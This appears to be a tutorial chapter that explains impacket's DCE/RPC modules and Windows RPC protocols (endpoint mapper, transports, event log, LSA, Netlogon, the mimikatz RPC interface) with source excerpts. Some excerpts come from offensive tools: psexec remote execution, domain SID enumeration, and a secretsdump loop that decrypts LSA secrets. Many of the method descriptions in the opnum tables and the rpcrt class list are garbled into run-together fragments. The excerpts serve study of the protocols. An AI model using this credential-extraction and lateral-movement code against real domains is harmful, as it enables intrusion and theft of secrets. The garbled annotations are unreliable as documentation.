Skip to content

Part III DCE/RPC

Chapter 5 DCE/RPC Interfaces (dcerpc)

RPC Programming Basics

Let's first look at how RPC works.

rpc architecture

Steps 4 and 11 of the figure are where data goes on the wire — in NDR format.

RPC consists of the following components:

  • The MIDL compiler

  • Run-time libraries and header files

  • Name service provider (sometimes referred to as the Locator)

  • Endpoint mapper (sometimes referred to as the port mapper)

  • The last three ship with Windows automatically; the RPC import libraries, headers and the uuidgen tool require the Windows SDK.

Import library Description
Rpcns4.lib (obsolete) Name-service functions
Rpcrt4.lib Windows run-time functions
Dynamic-link library Description Platform
Rpcltc1.dll Client named-pipe transport Windows NT, Windows 98, Windows 95
Rpclts1.dll Server named-pipe transport Windows NT, Windows 98, Windows 95
Rpcltc3.dll Client TCP/IP transport Windows NT, Windows 98, Windows 95
Rpclts3.dll Server TCP/IP transport Windows NT, Windows 98, Windows 95
Rpcltc5.dll Client NetBIOS transport Windows NT, Windows 98, Windows 95
Rpclts5.dll Server NetBIOS transport Windows NT, Windows 98, Windows 95
Rpcltc6.dll Client SPX transport Windows NT, Windows 98, Windows 95
Rpclts6.dll Server SPX transport Windows NT, Windows 98, Windows 95
Rpcdgc6.dll Client IPX transport Windows NT
Rpcdgs6.dll Server IPX transport Windows NT
Rpcdgc3.dll Client UDP transport Windows NT
Rpcdgs3.dll Server UDP transport Windows NT

In the RPC model, interfaces of remote procedures can be formally specified in a purpose-built language: the Interface Definition Language (IDL); Microsoft's implementation is the Microsoft Interface Definition Language (MIDL).

After the interface is defined, the MIDL compiler generates stubs — placeholder functions that turn local procedure calls into remote ones by calling into the RPC run-time library.

The RPC programming workflow: write the interface definition file (.idl) and the attribute configuration file (.acf) for client and server; the MIDL compiler then produces headers (included when writing client / server code) and the client / server stub C files (linked when building).

Generate a random UUID: it uniquely identifies the interface on the network so clients can find it.

uuidgen -i -oMyApp.idl

This command generates a UUID and stores it in a MIDL file usable as a template. After running it, MyApp.idl looks like this:

[
  uuid(ba209999-0c6c-11d2-97cf-00c04f8eea45),
  version(1.0)
]
interface INTERFACENAME
{

}

A worked RPC programming example

For a complete RPC programming walkthrough see: https://developer.aliyun.com/article/258886

ndr.py — NDR Data Representation & Serialization

Microsoft uses the NDR (Network Data Representation) engine to marshal (think serialize / deserialize) the data flowing between client and server stubs in RPC and DCOM. One purpose of IDL is to provide the syntax for describing those structured types and values. The RPC protocol, however, specifies that inputs and outputs travel as octet streams; NDR provides the mapping from IDL data types to octet streams, defining primitive types, constructed types and their representations within the stream.

For some primitive types NDR defines several representations — e.g. both ASCII and EBCDIC for characters. When a client or server sends an RPC PDU, the format used is identified in the PDU's format label. Data representation formats and format labels support NDR's multi-canonical data conversion approach, i.e. a fixed set of alternative representations for its data types.

ndr.py defines the formats of the data structures used in NDR transfer (NDRArray and friends); each type provides getData to render data into NDR-compliant form.

class NDRVaryingString(NDRUniVaryingArray):
    def getData(self, soFar = 0):
        # The last element of a string is a terminator of the same size as the other elements. 
        # If the string element size is one octet, the terminator is a NULL character. 
        # The terminator for a string of multi-byte characters is the array element zero (0).
        if self["Data"][-1:] != b'\x00':
            if PY3 and isinstance(self["Data"],list) is False:
                self["Data"] = self["Data"] + b'\x00'
            else:
                self["Data"] = b''.join(self["Data"]) + b'\x00'
        return NDRUniVaryingArray.getData(self, soFar)

Every script that needs RPC communication later calls into the ndr module to build standard NDR data. For example, the exploit for CVE-2020-1472 (Zerologon) targets the Netlogon Remote Protocol — an RPC interface for user and machine authentication on domain networks — and its script uses the standard ndr structures as interface parameters:

# eg./CVE-2020-1472/blob/master/nrpc.py
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \
    NDRUniFixedArray, NDRUniConformantVaryingArray

class NETLOGON_SECURE_CHANNEL_TYPE(NDRENUM):
    class enumItems(Enum):
        NullSecureChannel             = 0
        MsvApSecureChannel            = 1
        WorkstationSecureChannel      = 2
        TrustedDnsDomainSecureChannel = 3
        TrustedDomainSecureChannel    = 4
        UasServerSecureChannel        = 5
        ServerSecureChannel           = 6
        CdcServerSecureChannel        = 7

Readers interested in NDR structured data can consult: https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm

[MS-DTYP] dtypes.py — RPC Basic Data Types (DWORD / BOOL)

Defines the basic data types used in protocol communication — DWORD, BOOL and so on; see the document for the full list.

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2

[MS-RPCE] rpcrt.py — DCERPC Runtime Core (header / bind / DCERPC class)

Mainly the static variables, tag parameters, headers and other data structures involved in DCE/RPC communication:

+ DCERPCException
+ CtxItem onobject
+ CtxItemResult on
+ sec_trailer auth_lengthininformationauth_lengthnotasmustinsec_trailer
+ MSRPCHeader microsoft rpc header
+ MSRPCRequestHeader microsoft rpc header
+ MSRPCRespHeader microsoft rpc header
+ MSRPCBind RPConobject
    - addCtxItem addsonobject
    - getData onobject
+ MSRPCBindAck rpc
+ MSRPCBindNak rpc
+ DCERPC Distributed Computing Environment/Remote Procedure Calls NDR 8a885d04-1ceb-11c9-9fe8-08002b104860 NDR 2.0 71710533-BEBA-4937-8319-B5DBEF9CCC36 NDR64
    - connect rpc
    - get_rpc_transportobtainsrpcmethod
    - callsetspdu
    - request
    - get_credentialsobtains
    - set_credentialssets
    - bind RPC
    - send _transport_sendrpc
    - alter_ctx asonobject
+ DCERPC_RawCall PDU data
+ CommonHeader header
+ PrivateHeader header
+ TypeSerialization1 specifiedndr

Type Serialization Version 1

+ DCERPCServer RPC serverimpacket smbserver.py in SMB serveron RPC
    - addCallbacks
    - setListenPort
    - getListenPort
    - recv returnsas
    - run server
    - send 
    - bind
    - processRequest

# eg./impacket/smbserver.py
class WKSTServer(DCERPCServer):
    def __init__(self):
        DCERPCServer.__init__(self)
        self.wkssvcCallBacks = {
            0: self.NetrWkstaGetInfo,
        }
        self.addCallbacks(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'), '\\PIPE\\wkssvc', self.wkssvcCallBacks)

enum.py — Python Enum Base Class (NDRENUM foundation)

Python enumeration base module; NDR enumerations such as NDRENUM are built on it.


Those are the foundation modules of MSRPC communication in impacket; the rest of this chapter covers the Python module (the .py file) for each RPC interface.

[MS-RPC-EPM] epm.py — Endpoint Mapper (hept_map endpoint resolution)

Microsoft (RPC) (EPM) TCP/UDP including TCP/UDP 135thisall/group UUID

The module lists a large set of known UUID-to-DLL/RPC-interface mappings; its main function is hept_map (a historic impacket spelling of ept_map) which resolves the string binding of an RPC endpoint from an interface UUID, supporting ncacn_np, ncacn_ip_tcp and ncacn_http:

def hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')), protocol = 'ncacn_np', dce=None):

    # (1) Without an existing dce connection, first bind the EPM interface on target port 135
    if dce is None:
        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost
        rpctransport = transport.DCERPCTransportFactory(stringBinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        disconnect = True
    else:
        disconnect = False

    dce.bind(MSRPC_UUID_PORTMAP)

    # (2) Assemble the EPMTower (endpoint tower): interface floor + NDR data-representation floor + protocol floor + transport floor
    tower = EPMTower()
    interface = EPMRPCInterface()
    interface['InterfaceUUID'] = remoteIf[:16]
    interface['MajorVersion'] = unpack('<H', remoteIf[16:][:2])[0]
    interface['MinorVersion'] = unpack('<H', remoteIf[18:])[0]

    dataRep = EPMRPCDataRepresentation()
    dataRep['DataRepUuid'] = dataRepresentation[:16]
    ......

    protId = EPMProtocolIdentifier()
    protId['ProtIdentifier'] = FLOOR_RPCV5_IDENTIFIER

    # (3) The transport floor is built per target protocol (ncacn_np: pipe name + host name;
    #     ncacn_ip_tcp / ncacn_http: port + address, same shape — omitted here)
    if protocol == 'ncacn_np':
        pipeName = EPMPipeName()
        pipeName['PipeName'] = b'\x00'

        hostName = EPMHostName()
        hostName['HostName'] = b('%s\x00' % destHost)
        transportData = pipeName.getData() + hostName.getData()
    elif protocol in ('ncacn_ip_tcp', 'ncacn_http'):
        ......

    tower['NumberOfFloors'] = 5
    tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData

    # (4) Send the ept_map request (on Windows 2003 the Referent IDs must be fixed to 1/2)
    request = ept_map()
    request['max_towers'] = 1
    request['map_tower']['tower_length'] = len(tower)
    request['map_tower']['tower_octet_string'] = tower.getData()
    request.fields['obj'].fields['ReferentID'] = 1
    request.fields['map_tower'].fields['ReferentID'] = 2

    resp = dce.request(request)

    # (5) Parse the endpoint string binding from floor 4 of the returned tower
    tower = EPMTower(b''.join(resp['ITowers'][0]['Data']['tower_octet_string']))
    if protocol == 'ncacn_np':
        pipeName = EPMPipeName(tower['Floors'][3].getData())         # pipe name lives on the 4th floor
        result = 'ncacn_np:%s[%s]' % (destHost, pipeName['PipeName'].decode('utf-8')[:-1])
    elif protocol in ('ncacn_ip_tcp', 'ncacn_http'):
        portAddr = EPMPortAddr(tower['Floors'][3].getData())          # port number lives on the 4th floor
        ......

    if disconnect is True:
        dce.disconnect()
    return result

transport.py — RPC Transport Layer (TCP / UDP / HTTP / SMB)

Implements the DCE/RPC transport layer: DCERPCTransportFactory builds RPC connections over TCP, UDP, HTTP and SMB (named pipes) from a string binding.

def DCERPCTransportFactory(stringbinding):
    sb = DCERPCStringBinding(stringbinding)

    na = sb.get_network_address()
    ps = sb.get_protocol_sequence()
    if 'ncadg_ip_udp' == ps:
        port = sb.get_endpoint()
        if port:
            rpctransport = UDPTransport(na, int(port))
        else:
            rpctransport = UDPTransport(na)
    elif 'ncacn_ip_tcp' == ps:
        port = sb.get_endpoint()
        if port:
            rpctransport = TCPTransport(na, int(port))
        else:
            rpctransport = TCPTransport(na)
    elif 'ncacn_http' == ps:
        port = sb.get_endpoint()
        if port:
            rpctransport = HTTPTransport(na, int(port))
        else:
            rpctransport = HTTPTransport(na)
    elif 'ncacn_np' == ps:
        named_pipe = sb.get_endpoint()
        if named_pipe:
            named_pipe = named_pipe[len(r'\pipe'):]
            rpctransport = SMBTransport(na, filename = named_pipe)
        else:
            rpctransport = SMBTransport(na)
    elif 'ncalocal' == ps:
        named_pipe = sb.get_endpoint()
        rpctransport = LOCALTransport(filename = named_pipe)
    else:
        raise DCERPCException("Unknown protocol sequence.")

    rpctransport.set_stringbinding(sb)
    return rpctransport

Using examples/psexec.py, DCERPCTransportFactory establishes the RPC connection to the scmr interface (\pipe\svcctl):

# eg./examples/psexec.py
    executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
                      options.aesKey, options.k, options.dc_ip, options.service_name, options.remote_binary_name)
    executer.run(remoteName, options.target_ip)

   def run(self, remoteName, remoteHost):
        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
        logging.debug('StringBinding %s'%stringbinding)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        rpctransport.set_dport(self.__port)
        rpctransport.setRemoteHost(remoteHost)
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
                                         self.__nthash, self.__aesKey)
        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
        self.doStuff(rpctransport)

[MS-EVEN / MS-EVEN6] even.py / even6.py — Remote Event Log Reading

The EventLog Remoting Protocol exposes RPC methods to read events from live and backed-up event logs on remote machines; the 6 in even6 means version 6 (MS-EVEN6). It reads events from live event logs and backed-up event logs on remote computers. The protocol also specifies how to obtain general log information such as record count, oldest record and whether the log is full, and can clear and back up both kinds of event logs.

The methods implemented by the two versions:

OPNUMS = {
 0 : (ElfrClearELFW, ElfrClearELFWResponse),Instructs the server toeventlogcanineventlog
 1 : (ElfrBackupELFW, ElfrBackupELFWResponse),Instructs the server toeventlogspecified
    2   : (ElfrCloseEL, ElfrCloseELResponse),Instructs the server tocloseseventloghandle
 4 : (ElfrNumberOfRecords, ElfrNumberOfRecordsResponse), Instructs the server toeventlogcurrent
    5   : (ElfrOldestRecord, ElfrOldestRecordResponse),
    7   : (ElfrOpenELW, ElfrOpenELWResponse),
 8 : (ElfrRegisterEventSourceW, ElfrRegisterEventSourceWResponse),Instructs the server toserveronhandlereturnseventlog entry
 9 : (ElfrOpenBELW, ElfrOpenBELWResponse),Instructs the server toreturnseventloghandle
 10 : (ElfrReadELW, ElfrReadELWResponse),methodeventlogeventservereventclientinwithinLogHandleserveronhandleeventlog
 11 : (ElfrReportEventW, ElfrReportEventWResponse), method event entryeventlogserverclientevent
}

even6.py (version 6):

OPNUMS = {
 5 : (EvtRpcRegisterLogQuery, EvtRpcRegisterLogQueryResponse),used forqueriesorcanused forquerieseventretrievesEvtRpcQueryNext 3.1.4.13 method
 11 : (EvtRpcQueryNext, EvtRpcQueryNextResponse),client EvtRpcQueryNext (Opnum 11) methodqueriesobtains
 12 : (EvtRpcQuerySeek, EvtRpcQuerySeekResponse),client EvtRpcQuerySeek (Opnum 12) methodinqueries
 13 : (EvtRpcClose, EvtRpcCloseResponse),client EvtRpcClose (Opnum 13) methodclosesmethodopensonhandle
 17 : (EvtRpcOpenLogHandle, EvtRpcOpenLogHandle), methodobtainsoreventloginformation
 19 : (EvtRpcGetChannelList, EvtRpcGetChannelListResponse),EvtRpcGetChannelList (Opnum 19) methodused forenumerates
}

iphlp.py — IPv6 Tunneling (IP Helper Service)

iphlpsvc.dll: iphlpsvc is the Internet Protocol Helper service on Windows; its job is to help retrieve and modify the TCP/IP network configuration of a Windows 10 PC, enabling connectivity features such as IPv6 tunneling and port proxy (netsh interface portproxy). Iphlpsvc is used mainly for IPv6 connectivity.

The module's functions set up tunnels for IPv6 traffic (IPv6-in-IPv4 tunnel).

OPNUMS = {
 0 : (IpTransitionProtocolApplyConfigChanges, IpTransitionProtocolApplyConfigChangesResponse),
 1 : (IpTransitionProtocolApplyConfigChangesEx, IpTransitionProtocolApplyConfigChangesExResponse),
 2 : (IpTransitionCreatev6Inv4Tunnel, IpTransitionCreatev6Inv4TunnelResponse),
 3 : (IpTransitionDeletev6Inv4Tunnel, IpTransitionDeletev6Inv4TunnelResponse)
}

[MS-LSAD] lsad.py — Local Security Authority (domain policy management)

MS-LSAD (Local Security Authority (Domain Policy) Remote Protocol) manages machine and domain security policies. Every Windows NT-based product implements and listens on this protocol server-side in all configurations, though not every operation is meaningful in every configuration.

Policy object:
LsarOpenPolicy3
LsarOpenPolicy2
LsarQueryInformationPolicy2
LsarSetInformationPolicy2
LsarClose
LsarQueryDomainInformationPolicy
LsarEnumeratePrivileges
LsarLookupPrivilegeName
LsarLookupPrivilegeValue
LsarLookupPrivilegeDisplayName
LsarSetDomainInformationPolicy
LsarQuerySecurityObject
LsarSetSecurityObject

With a few exceptions, the protocol supports remote policy administration. Achieving interoperability between Windows clients and servers (domain controller configurations and others) — such as a Windows client's ability to retrieve policy settings from a server — does not require implementing every method of the interface.

The policy settings controlled by this protocol cover:

  • Account objects: the rights and privileges a security principal holds on a server.
  • Secret objects: a mechanism for storing data securely on a server.
  • Trusted domain objects: the mechanism Windows uses to describe trust relationships between domains and forests.
  • Miscellaneous settings, e.g. Kerberos ticket lifetime, the DC's role (backup or primary), and other unrelated policies.

The main remote-administration use cases:

  • Create, delete, enumerate and modify trusts, account objects and secret objects;
  • Query and modify policy settings unrelated to trusted domain objects (TDOs), account objects or secret objects, such as the Kerberos ticket lifetime.
Account object:
LsarCreateAccount
LsarOpenAccount
LsarEnumerateAccounts
LsarClose
LsarDeleteObject
LsarSetSystemAccessAccount
LsarQuerySecurityObject
LsarAddAccountRights
LsarRemoveAccountRights
LsarAddPrivilegesToAccount
LsarRemovePrivilegesFromAccount
LsarEnumerateAccountsWithUserRight
LsarGetSystemAccessAccount
LsarSetSecurityObject
LsarEnumeratePrivilegesAccount
LsarEnumerateAccountRights
Secret object:
LsarCreateSecret
LsarOpenSecret
LsarClose
LsarDeleteObject
LsarRetrievePrivateData
LsarStorePrivateData
LsarSetSecret
LsarQuerySecret
LsarQuerySecurityObject
LsarSetSecurityObject
Trusted domain object:
LsarCreateTrustedDomainEx3
LsarCreateTrustedDomainEx2
LsarOpenTrustedDomain
LsarClose
LsarDeleteObject
LsarOpenTrustedDomainByName
LsarDeleteTrustedDomain
LsarEnumerateTrustedDomainsEx
LsarQueryInfoTrustedDomain
LsarSetInformationTrustedDomain
LsarQueryForestTrustInformation
LsarSetForestTrustInformation
LsarQueryTrustedDomainInfo
LsarSetTrustedDomainInfo
LsarQueryTrustedDomainInfoByName
LsarSetTrustedDomainInfoByName

For example, to set the policy governing Kerberos ticket lifetime, the requester opens a handle to the Policy object and updates the maximum service ticket age via the parameter MaxServiceTicketAge. The call sequence is as follows (parameter details omitted for brevity):

  1. Send LsarOpenPolicy3 request; receive LsarOpenPolicy3 reply.
  2. Send LsarQueryDomainInformationPolicy request; receive LsarQueryDomainInformationPolicy reply.
  3. Send LsarSetDomainInformationPolicy request; receive LsarSetDomainInformationPolicy reply.
  4. Send LsarClose request; receive LsarClose reply.

A brief explanation of the sequence:

  1. Using the responder's network address, the requester sends LsarOpenPolicy3 to obtain a handle to the policy object — required for inspecting and manipulating domain policy information.
  2. With the handle from LsarOpenPolicy3, the requester sends LsarQueryDomainInformationPolicy to retrieve the current policy settings affecting Kerberos tickets.
  3. After adjusting the Kerberos ticket policy data to its liking, the requester sends LsarSetDomainInformationPolicy to store the new values.
  4. The requester closes the policy handle from LsarOpenPolicy3, releasing the responder's resources associated with it.

For a direct example see examples/goldenPac.py: it uses the handle returned by hLsarOpenPolicy2 to send hLsarQueryInformationPolicy2 to query POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation for the forestSid (verified against upstream impacket source):

/examples/goldenPac.py

resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
        dce.disconnect()

        forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
        logging.info("Forest SID: %s"% forestSid)

        return forestSid

Next, let's see which interface methods the module currently implements:

0 : (LsarClose, LsarCloseResponse), methodreleasesopensonhandle
 2 : (LsarEnumeratePrivileges, LsarEnumeratePrivilegesResponse),method toenumerates allcanthismethodreturns output
 3 : (LsarQuerySecurityObject, LsarQuerySecurityObjectResponse),method toqueriesobjectinformationreturnsobject
 4 : (LsarSetSecurityObject, LsarSetSecurityObjectResponse),Called toinobjectonsets
 6 : (LsarOpenPolicy, LsarOpenPolicyResponse),methodwithLsarOpenPolicy2notinthisSystemNamecontainingnotthisSystemNamemustis
 7 : (LsarQueryInformationPolicy, LsarQueryInformationPolicyResponse),method toqueriesserverinformationpolicy
 8 : (LsarSetInformationPolicy, LsarSetInformationPolicyResponse),Called toinserveronsetspolicy
10 : (LsarCreateAccount, LsarCreateAccountResponse),Called toinservercreates aobject
11 : (LsarEnumerateAccounts, LsarEnumerateAccountsResponse),methodserverobjectlistcanthemethodreturns output
13 : (LsarEnumerateTrustedDomains, LsarEnumerateTrustedDomainsResponse),
16 : (LsarCreateSecret, LsarCreateSecretResponse),isinservercreates aobject
17 : (LsarOpenAccount, LsarOpenAccountResponse),
18 : (LsarEnumeratePrivilegesAccount, LsarEnumeratePrivilegesAccountResponse),retrievesserveronlist
19 : (LsarAddPrivilegesToAccount, LsarAddPrivilegesToAccountResponse),
20 : (LsarRemovePrivilegesFromAccount, LsarRemovePrivilegesFromAccountResponse),
23 : (LsarGetSystemAccessAccount, LsarGetSystemAccessAccountResponse),retrievesobjectisasobject
24 : (LsarSetSystemAccessAccount, LsarSetSystemAccessAccountResponse),asobjectsets
28 : (LsarOpenSecret, LsarOpenSecretResponse),
29 : (LsarSetSecret, LsarSetSecretResponse),setsobjectcurrent
30 : (LsarQuerySecret, LsarQuerySecretResponse),retrievesobjectcurrentor
31 : (LsarLookupPrivilegeValue, LsarLookupPrivilegeValueResponse),
32 : (LsarLookupPrivilegeName, LsarLookupPrivilegeNameResponse),
33 : (LsarLookupPrivilegeDisplayName, LsarLookupPrivilegeDisplayNameResponse),
34 : (LsarDeleteObject, LsarDeleteObjectResponse),deletesobjectobjectordomainobject
35 : (LsarEnumerateAccountsWithUserRight, LsarEnumerateAccountsWithUserRightResponse),returnsuser entryobjectlist
36 : (LsarEnumerateAccountRights, LsarEnumerateAccountRightsResponse),
37 : (LsarAddAccountRights, LsarAddAccountRightsResponse),
38 : (LsarRemoveAccountRights, LsarRemoveAccountRightsResponse),
42 : (LsarStorePrivateData, LsarStorePrivateDataResponse),
43 : (LsarRetrievePrivateData, LsarRetrievePrivateDataResponse),retrieves
44 : (LsarOpenPolicy2, LsarOpenPolicy2Response),opensRPC serveronhandledomainpolicymust
46 : (LsarQueryInformationPolicy2, LsarQueryInformationPolicy2Response),queriesserverpolicy
47 : (LsarSetInformationPolicy2, LsarSetInformationPolicy2Response),inserveronsetspolicy
50 : (LsarEnumerateTrustedDomainsEx, LsarEnumerateTrustedDomainsExResponse),enumeratesserverdomainobject themethodinretrieves
53 : (LsarQueryDomainInformationPolicy, LsarQueryDomainInformationPolicyResponse),

Interestingly, despite all these remote read methods in lsad, secretsdump actually reads LSA Secrets through the remote registry (RRP), at registry path HKLM\SECURITY\Policy\Secrets...:

# eg./impacket/examples/secretsdump.py
for key in keys:
            LOG.debug('Looking into %s' % key)
            valueTypeList = ['CurrVal']
            # Check if old LSA secrets values are also need to be shown
            if self.__history:
                valueTypeList.append('OldVal')

            for valueType in valueTypeList:
                value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
                if value is not None and value[1] != 0:
                    if self.__vistaStyle is True:
                        record = LSA_SECRET(value[1])
                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
                        record = LSA_SECRET_BLOB(plainText)
                        secret = record['Secret']
                    else:
                        secret = self.__decryptSecret(self.__LSAKey, value[1])

                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
                    # also be consistent with NTDS history
                    if valueType == 'OldVal':
                        key += '_history'
                    self.__printSecret(key, secret)

[MS-LSAT] lsat.py — SID ↔ Name Translation

The Local Security Authority (Translation Methods) Remote Protocol converts security principal identifiers between human-readable and machine-readable forms.

The module implements the following interface methods:

OPNUMS = {
 14 : (LsarLookupNames, LsarLookupNamesResponse),method principal nameasSIDreturnsnamedomain
 15 : (LsarLookupSids, LsarLookupSidsResponse),
 45 : (LsarGetUserName, LsarGetUserNameResponse), methodreturns themethodnamerealm


 57 : (LsarLookupSids2, LsarLookupSids2Response),
 LsarLookupSids2 asmustwith LsarLookupSids3 as thisindomain domainonifRPC servernotdomainthen LsapLookupWksta LookupLevel


 58 : (LsarLookupNames2, LsarLookupNames2Response),
 LsarLookupNames2 asmustwith LsarLookupNames3 as TranslatedSids outputnotcontainingSidcontainingRelativeId


 68 : (LsarLookupNames3, LsarLookupNames3Response),
 LsarLookupNames3 asmustwith LsarLookupNames4 asthisindomain domainonifnotservermustreturns STATUS_ACCESS_DENIED

 76 : (LsarLookupSids3, LsarLookupSids3Response),
 RPC serverdomainthisif RPC servernotdomainthen RPC servermustinreturnsreturns STATUS_INVALID_SERVER_STATE

 77 : (LsarLookupNames4, LsarLookupNames4Response),
}

examples/lookupsid.py loops over the lsat interface enumerating SIDs, effectively inventorying domain users:

# eg./examples/lookupsid.py
        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

# eg.lsat.py
POLICY_LOOKUP_NAMES = 0x00000800 # opens Policy objectname/SID queries

Note: do not confuse POLICY_LOOKUP_NAMES (0x800) with user-right flags such as "deny remote interactive logon" — the values coincide but the concepts are unrelated (the former is an LSAD/LSAT access-mask bit, the latter an account privilege).

mgmt.py — RPC Remote Management Interface

Per the interface ID defined at the top, this is the RPC remote management interface (RPC Management). The module implements the following methods; Windows documentation on it is thin, so the method descriptions were cross-checked against the mgmt.c source of freedce (FreeDCE RPC and DCOM Toolkit for Linux):

OPNUMS = {
 0 : (inq_if_ids, inq_if_idsResponse),queriesif id/obtains outputin RPC runtimeifserverthisreturns rpc_s_no_interfaces NULL if_id_vectorrpc_if_id_vector_free releasesvector

 1 : (inq_stats, inq_statsResponse), queriesused forobtainsspecifiedserver RPC runtime informationreturns

 2 : (is_server_listening, is_server_listeningResponse),
 3 : (stop_server_listening, stop_server_listeningResponse),
 4 : (inq_princ_name, inq_princ_nameResponse),queriesname.asserverprincipal nameonprincipal name
}

The parameters of each interface:

 INTERNAL void inq_if_ids _DCE_PROTOTYPE_ ((    
         rpc_binding_handle_t     /*binding_h*/,
         rpc_if_id_vector_p_t    * /*if_id_vector*/,
         unsigned32              * /*status*/
     ));

 INTERNAL void inq_stats _DCE_PROTOTYPE_ ((            
         rpc_binding_handle_t     /*binding_h*/,
         unsigned32              * /*count*/,
         unsigned32              statistics[],
         unsigned32              * /*status*/
     ));

 INTERNAL boolean32 is_server_listening _DCE_PROTOTYPE_ ((            
         rpc_binding_handle_t     /*binding_h*/,
         unsigned32              * /*status*/
     ));


 INTERNAL void inq_princ_name _DCE_PROTOTYPE_ ((            
         rpc_binding_handle_t     /*binding_h*/,
         unsigned32               /*authn_proto*/,
         unsigned32               /*princ_name_size*/,
         idl_char                princ_name[],
         unsigned32              * /*status*/

Readers interested in the concrete implementations can read the C source directly (https://fossies.org/dox/freedce-1.1.0.7/mgmt_8c_source.html)

mimilib.py — mimikatz RPC Interface (MimiCommand)

mimikatz defines its own RPC IDL interface. https://github.com/gentilkiwi/mimikatz/blob/e10bde5b16b747dc09ca5146f93f2beaf74dd17a/mimicom.idl

import "ms-dtyp.idl";
[
   uuid(17FC11E9-C258-4B8D-8D07-2F4125156244),
   version(1.0)
]
interface MimiCom
{
    typedef [context_handle] void* MIMI_HANDLE;    // session context handle: created by MimiBind, carried by later calls

    // Client and server exchange Diffie-Hellman public keys inside MimiBind;
    // all subsequent command data is encrypted under the negotiated session key
    NTSTATUS MimiBind(
        [in] handle_t rpc_handle,
        [in, ref] PMIMI_PUBLICKEY clientPublicKey,
        [out, ref] PMIMI_PUBLICKEY serverPublicKey,
        [out, ref] MIMI_HANDLE *phMimi
    );
    ......

    NTSTATUS MimiCommand(    // core method: carry an encrypted mimikatz command, return the encrypted result
        [in, ref] MIMI_HANDLE phMimi,
        [in] DWORD szEncCommand,
        [in, size_is(szEncCommand), unique] BYTE *encCommand,
        [out, ref] DWORD *szEncResult,
        [out, size_is(, *szEncResult)] BYTE **encResult
    );
    ......
};

The mimilib module implements the corresponding interface methods:

OPNUMS = {
 0 : (MimiBind, MimiBindResponse),
 1 : (MimiUnbind, MimiUnbindResponse),
 2 : (MimiCommand, MimiCommandResponse),
}

Note: the mimikatz IDL names the method MiniUnbind while the impacket implementation spells it MimiUnbind — each is the original spelling of its own source tree; just keep the mapping in mind when reading.

The mimikatz RPC interface negotiates a session key via Diffie-Hellman key exchange and encrypts command data with it. To talk to this interface, mimikatz must be running on the target with rpc::server executed:

  mimikatz # rpc::server

[MS-NRPC] nrpc.py — Netlogon Authentication & Zerologon (CVE-2020-1472)

The protocol's name should ring a bell — Zerologon (CVE-2020-1472) lives right here.

The Netlogon Remote Protocol is an RPC interface for user and machine authentication on domain-based networks; it is also used to replicate databases for backup domain controllers (BDCs).

The Netlogon Remote Protocol maintains domain relationships from domain members to domain controllers (DCs), between a domain's DCs, and between DCs across domains; this RPC interface discovers and manages those relationships.

The Netlogon Remote Protocol secures communication between computers in a domain and domain controllers (DCs) (domain members and DCs). Communication is protected with a shared session key computed between the client and the DC participating in the secure channel; the session key is derived from a pre-shared secret known to both. After user credentials are validated on a DC, the Netlogon Remote Protocol carries the user's authorization attributes (the user validation information) back to the server over the secure channel.

pict12fb6de8-2e2b-b03a-ea2c-3c90354ed72c

Netlogon Remote Protocol clients and servers run only on domain-joined systems and start during boot; when a system leaves the domain, they stop and no longer start at boot.

A user account may live in a domain other than the server's. In that case the DC receiving the login request from the server forwards it to a DC in the user account's domain. For this to work, the server's domain (the resource domain) and the user account's domain (the account domain) establish a trust, under which authentication decisions made in the account domain are trusted in the resource domain. In such a trust, the resource domain is the trusting domain and the account domain is the trusted domain. The trust is set up by administrators of both domains; the result is a shared secret (the trust password) that DCs in both domains use to derive the session key protecting secure-channel traffic. Over this channel, a DC in the resource domain can pass login requests to a DC in the account domain just as a server passes them to its own DC. The secure channel between the DCs of the two trusted domains is the trusted-domain secure channel; the channel between a server and a DC within the resource domain is the workstation secure channel. The figure below shows a pass-through authentication traversing two secure channels: from a server in domain A to a DC in the same domain, then from that DC to a DC in domain B, which holds the user account.

Pass-through authentication and domain trust

A backup domain controller (BDC) holds a full copy of the domain account database and can satisfy authentication requests but cannot modify accounts. Instead, a domain's BDC replicates the account database from the primary domain controller (PDC). To request and transfer replication data securely, Netlogon uses a secure channel the BDC establishes with the PDC using the BDC's machine account password — the server secure channel.

The security of a shared-secret channel depends on the secrecy of the shared value, and good password hygiene dictates that such values not be permanent. The protocol includes the means to choose a new password and carry it from client to DC, allowing a client implementation to set a new password on a machine account (for requests over the workstation secure channel) or a trust account (for requests over the trusted-domain secure channel).

Some applications need the domain trust list — e.g. a credential-gathering application may present a list of trusted domains for the user to choose from. The Netlogon Remote Protocol serves such applications with methods that retrieve domain trust information.

